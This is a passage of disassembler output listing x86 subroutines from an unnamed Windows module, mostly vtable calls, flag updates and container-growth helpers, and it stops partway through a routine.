sub_69B6C983 proc near ; DATA XREF: .text:69B12C84o
; .text:69B12DCCo ...
push esi
mov esi, ecx
mov eax, [esi]
or dword ptr [esi+20h], 20h
call dword ptr [eax+3Ch]
and dword ptr [esi+20h], 0FFFFFFDFh
pop esi
retn
sub_69B6C983 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C995 proc near ; CODE XREF: sub_69B68CF3+28j
; DATA XREF: .text:69B12C88o ...
push esi
mov esi, ecx
mov eax, [esi]
push edi
call dword ptr [eax+40h]
mov edi, eax
test edi, edi
jz short loc_69B6C9C1
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+64h]
test eax, eax
jz short loc_69B6C9C1
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+84h]
loc_69B6C9C1: ; CODE XREF: sub_69B6C995+Dj
; sub_69B6C995+1Fj
mov eax, edi
pop edi
pop esi
retn
sub_69B6C995 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C9C6 proc near ; DATA XREF: .text:69B12C8Co
; .text:69B12DD4o ...
push esi
mov esi, ecx
loc_69B6C9C9: ; CODE XREF: sub_69B6C9C6+Cj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+68h]
test eax, eax
jnz short loc_69B6C9C9
pop esi
retn
sub_69B6C9C6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C9D6 proc near ; DATA XREF: .text:69B12C7Co
; .text:69B12DC4o ...
lea eax, [ecx-10h]
add ecx, 0FFFFFFF8h
neg eax
sbb eax, eax
and eax, ecx
retn
sub_69B6C9D6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C9E3 proc near ; CODE XREF: sub_69B66638+12j
; DATA XREF: .text:69B12F20o ...
fld ds:dbl_69B296F8
retn
sub_69B6C9E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C9EA proc near ; CODE XREF: sub_69B66614+5j
; sub_69B67BAE+8j ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn 4
sub_69B6C9EA endp
; =============== S U B R O U T I N E =======================================
sub_69B6C9F1 proc near ; DATA XREF: .text:69B12CF0o
; .text:69B12E38o ...
mov eax, [ecx+28h]
and al, 3
neg al
sbb eax, eax
inc eax
retn
sub_69B6C9F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C9FC proc near ; DATA XREF: .text:69B12CFCo
; .text:69B12E44o ...
lea eax, [ecx-8]
add ecx, 8
neg eax
sbb eax, eax
and eax, ecx
retn
sub_69B6C9FC endp
; =============== S U B R O U T I N E =======================================
sub_69B6CA09 proc near ; DATA XREF: .text:69B12CF8o
; .text:69B12E40o ...
arg_0 = dword ptr 4
cmp dword ptr [ecx+4], 2
jnz sub_69B6C7A5
mov eax, [esp+arg_0]
mov [ecx+2Ch], eax
lea eax, [ecx-8]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B6CA09 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CA26 proc near ; DATA XREF: .text:69B12CA8o
; .text:69B12DF0o ...
or eax, 0FFFFFFFFh
retn 8
sub_69B6CA26 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CA2C proc near ; CODE XREF: sub_69B66598+18p
; sub_69B66598+46p ...
arg_8 = dword ptr 0Ch
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_69B6CA38
mov eax, [ecx]
jmp dword ptr [eax+4Ch]
; ---------------------------------------------------------------------------
loc_69B6CA38: ; CODE XREF: sub_69B6CA2C+5j
mov eax, [esp+arg_8]
retn 0Ch
sub_69B6CA2C endp
; =============== S U B R O U T I N E =======================================
sub_69B6CA3F proc near ; CODE XREF: sub_69B66626+5j
; sub_69B6879D+5j
; DATA XREF: ...
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_69B6CA4B
mov eax, [ecx]
jmp dword ptr [eax+50h]
; ---------------------------------------------------------------------------
locret_69B6CA4B: ; CODE XREF: sub_69B6CA3F+5j
retn 4
sub_69B6CA3F endp
; =============== S U B R O U T I N E =======================================
sub_69B6CA4E proc near ; CODE XREF: sub_69B665E9+Aj
; sub_69B665E9+10p ...
mov ecx, [ecx+0Ch]
test ecx, ecx
jz short loc_69B6CA5C
mov eax, [ecx]
call dword ptr [eax+5Ch]
jmp short loc_69B6CA5E
; ---------------------------------------------------------------------------
loc_69B6CA5C: ; CODE XREF: sub_69B6CA4E+5j
xor eax, eax
loc_69B6CA5E: ; CODE XREF: sub_69B6CA4E+Cj
test eax, eax
jz short loc_69B6CA69
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+4Ch]
; ---------------------------------------------------------------------------
loc_69B6CA69: ; CODE XREF: sub_69B6CA4E+12j
mov eax, 30Fh
retn
sub_69B6CA4E endp
; =============== S U B R O U T I N E =======================================
sub_69B6CA6F proc near ; DATA XREF: .text:69B12D58o
; .text:69B12FE8o ...
push esi
mov esi, ecx
xor eax, eax
cmp dword ptr [esi+0Ch], 2
jnz short loc_69B6CA7D
mov [esi+2Ch], eax
loc_69B6CA7D: ; CODE XREF: sub_69B6CA6F+9j
mov ecx, [esi+14h]
cmp ecx, eax
jz short loc_69B6CA94
test byte ptr [esi+30h], 20h
mov eax, [ecx]
jz short loc_69B6CA91
call dword ptr [eax+64h]
jmp short loc_69B6CA94
; ---------------------------------------------------------------------------
loc_69B6CA91: ; CODE XREF: sub_69B6CA6F+1Bj
call dword ptr [eax+3Ch]
loc_69B6CA94: ; CODE XREF: sub_69B6CA6F+13j
; sub_69B6CA6F+20j
and dword ptr [esi+30h], 0FFFFFFF7h
pop esi
retn
sub_69B6CA6F endp
; =============== S U B R O U T I N E =======================================
sub_69B6CA9A proc near ; DATA XREF: .text:69B12D08o
; .text:69B12E50o ...
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push esi
push 0
push [esp+8+arg_8]
lea esi, [ecx+8]
push [esp+0Ch+arg_0]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+48h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
movzx eax, al
pop esi
retn 0Ch
sub_69B6CA9A endp
; =============== S U B R O U T I N E =======================================
sub_69B6CABD proc near ; DATA XREF: .text:69B12D0Co
; .text:69B12E54o ...
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
push 0
push [esp+0Ch+arg_8]
mov edi, ecx
push [esp+10h+arg_0]
lea esi, [edi+8]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+48h]
mov ecx, [esp+8+arg_C]
add edi, 0FFFFFFF8h
neg edi
sbb edi, edi
and edi, esi
push edi
call sub_69B64115
pop edi
pop esi
retn 10h
sub_69B6CABD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6CAED proc near ; CODE XREF: sub_69B65B35+58p
; DATA XREF: .text:69B12D54o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push edi
mov edi, ecx
mov ecx, [edi+14h]
test ecx, ecx
jz short loc_69B6CB3A
mov eax, [ecx]
push esi
call dword ptr [eax+5Ch]
mov esi, eax
xor eax, eax
cmp esi, eax
jz short loc_69B6CB39
mov ecx, [ebp+arg_0]
push 1
push eax
push eax
push dword_69B9B440
push eax
call sub_69B3D2F2
mov edx, [ebx]
push 0
push eax
mov ecx, ebx
mov [ebp+arg_4], eax
call dword ptr [edx+7Ch]
push [ebp+arg_4]
mov eax, [esi]
push [ebp+arg_0]
mov ecx, esi
call dword ptr [eax+5Ch]
loc_69B6CB39: ; CODE XREF: sub_69B6CAED+1Dj
pop esi
loc_69B6CB3A: ; CODE XREF: sub_69B6CAED+Fj
mov eax, [edi]
push ebx
push [ebp+arg_0]
mov ecx, edi
call dword ptr [eax+4Ch]
pop edi
pop ebx
pop ebp
retn 8
sub_69B6CAED endp
; =============== S U B R O U T I N E =======================================
sub_69B6CB4B proc near ; CODE XREF: sub_69B6D1E0+42p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
lea eax, ds:10h[ebx*4]
push eax
mov edi, ecx
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], ebx
call sub_69B19118
push 0
push edi
mov dword ptr [esi], offset off_69B13D68
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B6CB4B endp
; =============== S U B R O U T I N E =======================================
sub_69B6CB8A proc near ; CODE XREF: sub_69B6CFE2+3Fp
; sub_69B6D314+4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
push [esp+4+arg_0]
mov esi, ecx
lea eax, [esi+14h]
push eax
call sub_69B17320
mov eax, [esi+30h]
mov ecx, [esp+4+arg_4]
and eax, 0FFFFFFF8h
and ecx, 3
or eax, ecx
mov [esi+30h], eax
movzx eax, [esp+4+arg_8]
mov [esi+20h], eax
mov [esi+1Ch], eax
push 0
add esi, 28h
push esi
call sub_69B17320
pop esi
retn 0Ch
sub_69B6CB8A endp
; =============== S U B R O U T I N E =======================================
sub_69B6CBC6 proc near ; CODE XREF: sub_69B660DF+1Cj
; sub_69B66701+11j ...
push esi
mov esi, ecx
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
push 0
lea ecx, [esi+1Ch]
call sub_69B677FE
and dword ptr [esi+18h], 0
push 0
add esi, 28h
push esi
call sub_69B17320
pop esi
retn
sub_69B6CBC6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CBEF proc near ; DATA XREF: .text:69B12C58o
; .text:69B12DA0o ...
push esi
lea esi, [ecx+0Ch]
test dword ptr [esi], 0FFFFFFFEh
jnz short loc_69B6CC0B
add ecx, 0FFFFFFF0h
mov eax, [ecx]
call dword ptr [eax+44h]
push eax
mov ecx, esi
call sub_69B677FE
loc_69B6CC0B: ; CODE XREF: sub_69B6CBEF+Aj
mov eax, [esi]
and eax, 0FFFFFFFEh
neg eax
sbb eax, eax
neg eax
pop esi
retn
sub_69B6CBEF endp
; =============== S U B R O U T I N E =======================================
sub_69B6CC18 proc near ; DATA XREF: .text:69B12C5Co
; .text:69B12DA4o ...
push esi
lea esi, [ecx+0Ch]
test dword ptr [esi], 0FFFFFFFEh
jnz short loc_69B6CC34
add ecx, 0FFFFFFF0h
mov eax, [ecx]
call dword ptr [eax+44h]
push eax
mov ecx, esi
call sub_69B677FE
loc_69B6CC34: ; CODE XREF: sub_69B6CC18+Aj
mov eax, [esi]
and eax, 0FFFFFFFEh
pop esi
retn
sub_69B6CC18 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CC3B proc near ; CODE XREF: sub_69B66521+10p
; sub_69B677CF+10p
; DATA XREF: ...
push ebx
push esi
mov esi, ecx
lea ecx, [esi+0Ch]
mov eax, [ecx]
test eax, 0FFFFFFFEh
jnz short loc_69B6CC57
lea ecx, [esi-10h]
mov eax, [ecx]
call dword ptr [eax+44h]
mov ebx, eax
jmp short loc_69B6CC89
; ---------------------------------------------------------------------------
loc_69B6CC57: ; CODE XREF: sub_69B6CC3B+Ej
and eax, 0FFFFFFFEh
test byte ptr [esi+20h], 4
mov ebx, eax
jz short loc_69B6CC82
push edi
lea edi, [esi+10h]
push edi
call sub_69B67A49
mov eax, [esi+14h]
push 0
mov ecx, edi
mov [esi+1Ch], eax
call sub_69B677FE
and dword ptr [esi+20h], 0FFFFFFFBh
pop edi
jmp short loc_69B6CC90
; ---------------------------------------------------------------------------
loc_69B6CC82: ; CODE XREF: sub_69B6CC3B+25j
push 0
call sub_69B677FE
loc_69B6CC89: ; CODE XREF: sub_69B6CC3B+1Aj
test ebx, ebx
jz short loc_69B6CC90
inc dword ptr [esi+1Ch]
loc_69B6CC90: ; CODE XREF: sub_69B6CC3B+45j
; sub_69B6CC3B+50j
pop esi
mov eax, ebx
pop ebx
retn
sub_69B6CC3B endp
; =============== S U B R O U T I N E =======================================
sub_69B6CC95 proc near ; CODE XREF: sub_69B6CCB6+6p
; sub_69B6CD21+Cp ...
push esi
mov esi, ecx
and dword ptr [esi+2Ch], 0
push 0
lea ecx, [esi+1Ch]
call sub_69B677FE
push 0
lea ecx, [esi+20h]
call sub_69B677FE
and dword ptr [esi+30h], 0FFFFFFC3h
pop esi
retn
sub_69B6CC95 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CCB6 proc near ; CODE XREF: sub_69B66558+16j
; sub_69B68121+Ej ...
push esi
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B6CC95
mov ecx, [esi+4]
test ecx, ecx
pop esi
jz short locret_69B6CCCE
mov eax, [ecx]
jmp dword ptr [eax+44h]
; ---------------------------------------------------------------------------
locret_69B6CCCE: ; CODE XREF: sub_69B6CCB6+11j
retn
sub_69B6CCB6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CCCF proc near ; CODE XREF: sub_69B6CD21+1Cp
; sub_69B6CFE2+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
mov [ecx+18h], eax
movzx eax, [esp+arg_8]
shl eax, 6
xor eax, [ecx+30h]
push esi
and eax, 40h
xor [ecx+30h], eax
lea esi, [ecx+14h]
cmp dword ptr [esi], 0
jnz short loc_69B6CD1D
cmp [esp+4+arg_4], 0
jz short loc_69B6CD1D
xor eax, eax
mov al, [ecx+1Ch]
and eax, 0FFFFFF01h
push eax
push [esp+8+arg_4]
call sub_69B67D20
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push esi
call sub_69B17320
loc_69B6CD1D: ; CODE XREF: sub_69B6CCCF+1Fj
; sub_69B6CCCF+26j
pop esi
retn 0Ch
sub_69B6CCCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6CD21 proc near ; CODE XREF: sub_69B66127+19p
; sub_69B66505+Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
lea edi, [esi-10h]
mov ecx, edi
call sub_69B6CC95
push [ebp+arg_8]
mov ecx, edi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B6CCCF
mov ecx, [esi+4]
test ecx, ecx
pop edi
pop esi
jz short loc_69B6CD51
mov eax, [ecx]
pop ebp
jmp dword ptr [eax+48h]
; ---------------------------------------------------------------------------
loc_69B6CD51: ; CODE XREF: sub_69B6CD21+28j
pop ebp
retn 0Ch
sub_69B6CD21 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CD55 proc near ; CODE XREF: sub_69B66573+1Cp
; sub_69B6814E+18p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
movzx eax, bl
shl eax, 6
push esi
mov esi, ecx
xor eax, [esi+20h]
and eax, 40h
xor [esi+20h], eax
test bl, bl
jz short loc_69B6CD78
lea ecx, [esi-10h]
call sub_69B6CC95
loc_69B6CD78: ; CODE XREF: sub_69B6CD55+19j
mov ecx, [esi+4]
test ecx, ecx
jz short loc_69B6CD88
mov eax, [ecx]
push ebx
call dword ptr [eax+80h]
loc_69B6CD88: ; CODE XREF: sub_69B6CD55+28j
pop esi
pop ebx
retn 4
sub_69B6CD55 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CD8D proc near ; CODE XREF: sub_69B6807Bj
; sub_69B686EF+Bp
; DATA XREF: ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
mov esi, ecx
jz short loc_69B6CDDE
mov eax, [esi+0Ch]
and eax, 0FFFFFFFEh
cmp edi, eax
jz short loc_69B6CDDE
mov eax, [esi]
push edi
push 0
push [esp+10h+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jz short loc_69B6CDDE
mov edx, [esi]
push 0
push eax
push [esp+10h+arg_0]
mov ecx, esi
call dword ptr [edx+48h]
jmp short loc_69B6CDCE
; ---------------------------------------------------------------------------
loc_69B6CDC3: ; CODE XREF: sub_69B6CD8D+4Aj
cmp eax, edi
jz short loc_69B6CDDE
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
loc_69B6CDCE: ; CODE XREF: sub_69B6CD8D+34j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
test eax, eax
jnz short loc_69B6CDC3
or eax, 0FFFFFFFFh
jmp short loc_69B6CDE1
; ---------------------------------------------------------------------------
loc_69B6CDDE: ; CODE XREF: sub_69B6CD8D+Aj
; sub_69B6CD8D+14j ...
mov eax, [esi+1Ch]
loc_69B6CDE1: ; CODE XREF: sub_69B6CD8D+4Fj
pop edi
pop esi
retn 8
sub_69B6CD8D endp
; =============== S U B R O U T I N E =======================================
sub_69B6CDE6 proc near ; CODE XREF: sub_69B68080j
; sub_69B6B8FF+2Fp
; DATA XREF: ...
push 18h
push offset dword_69B6CEE8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
test byte ptr [esi+20h], 10h
jnz short loc_69B6CE39
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword ptr [eax+54h]
mov eax, [esi]
push 0
mov ecx, esi
call dword ptr [eax+60h]
lea ecx, [esi+18h]
push eax
push ecx
call sub_69B17320
lea ebx, [esi+0Ch]
mov edi, [ebx]
and edi, 0FFFFFFFEh
mov [ebp-20h], edi
mov eax, [esi+1Ch]
mov [ebp-24h], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
or dword ptr [esi+20h], 10h
jmp short loc_69B6CE59
; ---------------------------------------------------------------------------
loc_69B6CE39: ; CODE XREF: sub_69B6CDE6+15j
lea ebx, [esi+0Ch]
mov edi, [ebx]
and edi, 0FFFFFFFEh
mov [ebp-20h], edi
mov eax, [esi+1Ch]
mov [ebp-24h], eax
mov eax, [esi+14h]
mov [esi+1Ch], eax
push 0
mov ecx, ebx
call sub_69B677FE
loc_69B6CE59: ; CODE XREF: sub_69B6CDE6+51j
and dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jz short loc_69B6CE78
xor eax, eax
cmp [esi+1Ch], eax
jnz short loc_69B6CE7B
mov ecx, [ebx]
and ecx, 0FFFFFFFEh
cmp ecx, edi
jz short loc_69B6CE7B
loc_69B6CE78: ; CODE XREF: sub_69B6CDE6+80j
xor eax, eax
inc eax
loc_69B6CE7B: ; CODE XREF: sub_69B6CDE6+87j
; sub_69B6CDE6+90j
mov [ebp-25h], al
jmp short loc_69B6CEAE
; ---------------------------------------------------------------------------
loc_69B6CE80: ; DATA XREF: .text:69B6CEECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6CE89: ; DATA XREF: .text:69B6CEF0o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea ebx, [esi+0Ch]
mov edi, [ebp-20h]
push edi
mov ecx, ebx
call sub_69B677FE
mov eax, [ebp-24h]
mov [esi+1Ch], eax
call sub_69B2E860
loc_69B6CEAE: ; CODE XREF: sub_69B6CDE6+98j
or dword ptr [ebp-4], 0FFFFFFFFh
or dword ptr [esi+20h], 4
push ebx
lea ecx, [esi+10h]
call sub_69B67A49
mov eax, [esi+1Ch]
mov [esi+14h], eax
push edi
mov ecx, ebx
call sub_69B677FE
mov eax, [ebp-24h]
mov [esi+1Ch], eax
and dword ptr [esi+20h], 0FFFFFFEFh
mov al, [ebp-25h]
call sub_69B1853C
retn 8
sub_69B6CDE6 endp
; ---------------------------------------------------------------------------
align 8
dword_69B6CEE8 dd 0FFFFFFFFh dd offset loc_69B6CE80
dd offset loc_69B6CE89
; =============== S U B R O U T I N E =======================================
sub_69B6CEF4 proc near ; DATA XREF: .text:69B12C94o
; .text:69B12DDCo ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
xor eax, eax
mov al, [esi+0Ch]
push edi
and eax, 0FFFFFF01h
push eax
push 0
push 0
call sub_69B699F2
mov edi, eax
lea eax, [esi-10h]
neg eax
sbb eax, eax
and eax, esi
push eax
mov ecx, edi
call sub_69B6969A
push [esp+8+arg_0]
mov ecx, edi
call sub_69B6969A
mov eax, edi
add edi, 10h
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
retn 4
sub_69B6CEF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CF3A proc near ; DATA XREF: .text:69B12C98o
; .text:69B12DE0o ...
arg_0 = dword ptr 4
xor eax, eax
mov al, [ecx+0Ch]
push esi
and eax, 0FFFFFF01h
push eax
lea eax, [ecx-10h]
neg eax
sbb eax, eax
and eax, ecx
push eax
call sub_69B6C11D
push [esp+4+arg_0]
mov esi, eax
mov ecx, esi
call sub_69B6BAF2
mov eax, esi
add esi, 10h
neg eax
sbb eax, eax
and eax, esi
pop esi
retn 4
sub_69B6CF3A endp
; =============== S U B R O U T I N E =======================================
sub_69B6CF71 proc near ; CODE XREF: sub_69B681B0+C3p
; sub_69B6839F+47p ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
mov esi, [edi]
mov eax, [edi+0Ch]
and esi, 0FFFFFFFEh
test al, 1
lea ebx, [edi+8]
mov ecx, esi
jnz short loc_69B6CFBA
test al, 2
mov eax, [esi]
jz short loc_69B6CF9A
push ebx
call dword ptr [eax+9Ch]
mov esi, eax
jmp short loc_69B6CFB4
; ---------------------------------------------------------------------------
loc_69B6CF9A: ; CODE XREF: sub_69B6CF71+1Cj
call dword ptr [eax+44h]
cmp eax, 4
jz short loc_69B6CFAE
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+68h]
mov esi, eax
jmp short loc_69B6CFB0
; ---------------------------------------------------------------------------
loc_69B6CFAE: ; CODE XREF: sub_69B6CF71+2Fj
xor esi, esi
loc_69B6CFB0: ; CODE XREF: sub_69B6CF71+3Bj
or byte ptr [edi+13h], 40h
loc_69B6CFB4: ; CODE XREF: sub_69B6CF71+27j
or dword ptr [edi+0Ch], 1
jmp short loc_69B6CFCE
; ---------------------------------------------------------------------------
loc_69B6CFBA: ; CODE XREF: sub_69B6CF71+16j
test al, 2
mov eax, [esi]
push ebx
jz short loc_69B6CFC9
call dword ptr [eax+0A0h]
jmp short loc_69B6CFCC
; ---------------------------------------------------------------------------
loc_69B6CFC9: ; CODE XREF: sub_69B6CF71+4Ej
call dword ptr [eax+6Ch]
loc_69B6CFCC: ; CODE XREF: sub_69B6CF71+56j
mov esi, eax
loc_69B6CFCE: ; CODE XREF: sub_69B6CF71+47j
push esi
lea ecx, [edi+4]
call sub_69B677FE
inc dword ptr [edi+10h]
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B6CF71 endp
; =============== S U B R O U T I N E =======================================
sub_69B6CFE2 proc near ; CODE XREF: sub_69B662DE+8p
; sub_69B66717+8p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea ecx, [esi-10h]
call sub_69B6C84F
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov ecx, [esi+4]
test ecx, ecx
mov edi, eax
jz short loc_69B6D009
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+7Ch]
jmp short loc_69B6D00B
; ---------------------------------------------------------------------------
loc_69B6D009: ; CODE XREF: sub_69B6CFE2+1Aj
xor eax, eax
loc_69B6D00B: ; CODE XREF: sub_69B6CFE2+25j
xor ecx, ecx
mov cl, [esi+0Ch]
and ecx, 0FFFFFF01h
push ecx
mov ecx, [esi+20h]
and ecx, 3
push ecx
push eax
mov ecx, edi
call sub_69B6CB8A
push [esp+8+arg_0]
mov ecx, edi
push 0
push dword ptr [esi+8]
call sub_69B6CCCF
mov eax, [esi+24h]
mov [edi+34h], eax
lea eax, [edi+10h]
pop edi
pop esi
retn 4
sub_69B6CFE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6D044 proc near ; DATA XREF: .text:69B12D10o
; .text:69B12E58o ...
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 24h
or [ebp+var_4], 0FFFFFFFFh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, ecx
cmp dword ptr [edi+4], 1
mov [ebp+var_14], ebx
mov [ebp+var_10], bl
mov [ebp+var_24], ebx
mov [ebp+var_20], bl
jnz short loc_69B6D0A8
mov eax, [edi]
lea ecx, [ebp+var_24]
push ecx
push [ebp+arg_C]
mov ecx, edi
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+54h]
mov ecx, [ebp+arg_10]
mov eax, [ecx]
lea edx, [ebp+var_14]
push edx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+54h]
push 1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_4]
lea ecx, [ebp+var_24]
call sub_69B65333
mov esi, eax
jmp loc_69B6D1C7
; ---------------------------------------------------------------------------
loc_69B6D0A8: ; CODE XREF: sub_69B6D044+21j
push ebx
push [ebp+arg_C]
lea esi, [edi+8]
push [ebp+arg_0]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+48h]
mov ecx, [ebp+arg_10]
mov eax, [ecx]
lea edx, [ebp+var_14]
push edx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+54h]
cmp [ebp+var_14], ebx
jz loc_69B6D1C4
mov eax, [edi+2Ch]
mov eax, dword_69B99D00[eax*4]
mov [ebp+arg_C], eax
mov eax, [edi+28h]
and eax, 3
sub eax, ebx
jz short loc_69B6D135
dec eax
jz loc_69B6D1B9
dec eax
jnz loc_69B6D1C4
jmp short loc_69B6D125
; ---------------------------------------------------------------------------
loc_69B6D0FE: ; CODE XREF: sub_69B6D044+EAj
mov edx, [eax]
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_C]
mov ecx, eax
push [ebp+arg_4]
call dword ptr [edx+0DCh]
cmp eax, 1
mov [ebp+var_4], eax
jnz loc_69B6D1C4
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
loc_69B6D125: ; CODE XREF: sub_69B6D044+B8j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
cmp eax, ebx
jnz short loc_69B6D0FE
jmp loc_69B6D1C4
; ---------------------------------------------------------------------------
loc_69B6D135: ; CODE XREF: sub_69B6D044+A8j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
cmp eax, ebx
jz loc_69B6D1C4
mov edx, [eax]
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_C]
mov ecx, eax
push [ebp+arg_4]
call dword ptr [edx+0DCh]
cmp eax, 1
mov [ebp+var_4], eax
jz short loc_69B6D1C4
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+60h]
mov ebx, eax
test ebx, ebx
jz short loc_69B6D1C4
cmp dword ptr [ebx+8], 0
jg short loc_69B6D179
call sub_69B2E6D8
loc_69B6D179: ; CODE XREF: sub_69B6D044+12Ej
cmp dword ptr [ebx+0Ch], 1
jle short loc_69B6D1C4
mov eax, [edi+28h]
and eax, 0FFFFFFFDh
or eax, 1
mov [edi+28h], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
xor ebx, ebx
jmp short loc_69B6D1B9
; ---------------------------------------------------------------------------
loc_69B6D196: ; CODE XREF: sub_69B6D044+17Ej
mov edx, [eax]
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_C]
mov ecx, eax
push [ebp+arg_4]
call dword ptr [edx+0DCh]
cmp eax, 1
mov [ebp+var_4], eax
jz short loc_69B6D1C4
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
loc_69B6D1B9: ; CODE XREF: sub_69B6D044+ABj
; sub_69B6D044+150j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
cmp eax, ebx
jnz short loc_69B6D196
loc_69B6D1C4: ; CODE XREF: sub_69B6D044+8Dj
; sub_69B6D044+B2j ...
mov esi, [ebp+var_4]
loc_69B6D1C7: ; CODE XREF: sub_69B6D044+5Fj
lea ecx, [ebp+var_24]
call sub_69B466CC
lea ecx, [ebp+var_14]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 14h
sub_69B6D044 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D1E0 proc near ; CODE XREF: sub_69B67E43+17p
; sub_69B6816F+37p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
test esi, esi
push edi
jnz short loc_69B6D207
push 30h
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov dword ptr [esi+8], 8
call sub_69B19118
mov dword ptr [esi], offset off_69B13D68
loc_69B6D207: ; CODE XREF: sub_69B6D1E0+8j
cmp dword ptr [esi+8], 0
jg short loc_69B6D212
call sub_69B2E6D8
loc_69B6D212: ; CODE XREF: sub_69B6D1E0+2Bj
mov edi, [esi+0Ch]
mov eax, [esi+8]
inc edi
cmp edi, eax
jl short loc_69B6D229
add eax, eax
push eax
mov ecx, esi
call sub_69B6CB4B
mov esi, eax
loc_69B6D229: ; CODE XREF: sub_69B6D1E0+3Bj
push edi
mov ecx, esi
call sub_69B1A954
mov ecx, [esp+8+arg_4]
mov [eax], ecx
cmp dword ptr [esi+8], 0
jg short loc_69B6D242
call sub_69B2E6D8
